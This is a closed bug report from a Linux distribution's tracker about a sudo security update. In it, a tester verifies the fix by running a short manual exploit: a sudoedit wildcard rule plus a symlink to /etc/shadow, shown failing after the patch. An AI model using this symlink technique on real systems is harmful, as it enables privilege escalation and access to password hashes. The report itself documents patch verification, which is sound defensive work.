Bug 40366
| Summary: | sudo: multiple issues (3.2) | ||
|---|---|---|---|
| Product: | UCS | Reporter: | Arvid Requate <requate> |
| Component: | Security updates | Assignee: | Arvid Requate <requate> |
| Status: | CLOSED FIXED | QA Contact: | Daniel Tröder <troeder> |
| Severity: | normal | ||
| Priority: | P5 | CC: | gohmann, walkenhorst |
| Version: | UCS 3.2 | Flags: | requate:
Patch_Available+
|
| Target Milestone: | UCS 3.2-8-errata | ||
| Hardware: | Other | ||
| OS: | Linux | ||
| What kind of report is it?: | --- | What type of bug is this?: | --- |
| Who will be affected by this bug?: | --- | How will those affected feel about the bug?: | --- |
| User Pain: | Enterprise Customer affected?: | ||
| School Customer affected?: | ISV affected?: | ||
| Waiting Support: | Flags outvoted (downgraded) after PO Review: | ||
| Ticket number: | Bug group (optional): | Security | |
| Max CVSS v3 score: | |||
| Bug Depends on: | 40364, 40365 | ||
| Bug Blocks: | |||
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Description
Arvid Requate
Upstream Debian package version 1.7.4p4-2.squeeze.6 fixes the issue above The upstream package version has been imported and built in errata3.2-8. Advisory: sudo.yaml OK: advisory OK: manual test of exploit: root@ucs32:~# dpkg -l sudo ii sudo 1.7.4p4-2.squeeze.5.38.2015 root@ucs32:~# echo 'test1 ALL=(root) NOPASSWD: sudoedit /home/*/*/test.txt' >> /etc/sudoers root@ucs32:~# su - test1 test1@ucs32:~$ mkdir testdir test1@ucs32:~$ ln -s /etc/shadow testdir/test.txt test1@ucs32:~$ sudoedit /home/test1/testdir/test.txt sudoedit: /home/test1/testdir/test.txt unchanged root@ucs32:~# apt-get update root@ucs32:~# DEBIAN_FRONTEND=noninteractive apt-get install sudo root@ucs32:~# dpkg -l sudo ii sudo 1.7.4p4-2.squeeze.6.43.2016 root@ucs32:~# su - test1 test1@ucs32:~$ sudoedit /home/test1/testdir/test.txt sudoedit: /home/test1/testdir/test.txt: editing files in a writable directory is not permitted |